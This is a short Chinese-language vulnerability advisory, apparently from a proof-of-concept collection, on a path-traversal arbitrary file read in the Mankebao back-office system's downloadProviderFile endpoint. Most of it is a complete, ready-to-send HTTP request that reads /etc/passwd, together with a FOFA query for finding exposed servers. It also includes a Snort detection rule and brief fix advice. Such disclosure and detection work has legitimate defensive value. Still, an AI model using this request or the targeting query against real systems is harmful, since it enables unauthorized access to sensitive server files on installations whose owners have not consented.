跳转至

满客宝后台管理系统 downloadProviderFile 任意文件读取漏洞

满客宝后台管理系统 downloadProviderFile 任意文件读取漏洞，从而导致读取服务器上的敏感文件。

影响版本

满客宝后台管理系统

漏洞状态

漏洞细节 漏洞POC 漏洞EXP 在野利用
是 已公开 已公开 已知

风险等级

维度 评价
威胁等级 高危
影响面 广
攻击者价值 高
利用难度 低

漏洞复现

FOFA：body="满客宝后台管理系统"

POC/EXP：

GET /warehouse/api/v1/provider/downloadProviderFile.swagger?fileName=&ossKey=/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Priority: u=0, i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

image-20250718160828573

snort规则：

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"Mankebao Warehouse - Path Traversal via downloadProviderFile (CVE-2025-XXXXX)";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/warehouse/api/v1/provider/downloadProviderFile.swagger"; http_uri;
    content:"ossKey="; http_uri;
    pcre:"/ossKey=[^&]*(\/\.\.\/|%2e%2e%2f){3,}/i";
    metadata:service http;
    metadata:affected_product "满客宝后台管理系统";
    metadata:vulnerability_type "Directory Traversal";
    classtype:web-application-attack;
    sid:1000343;
    rev:1;
    priority:1;
)

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。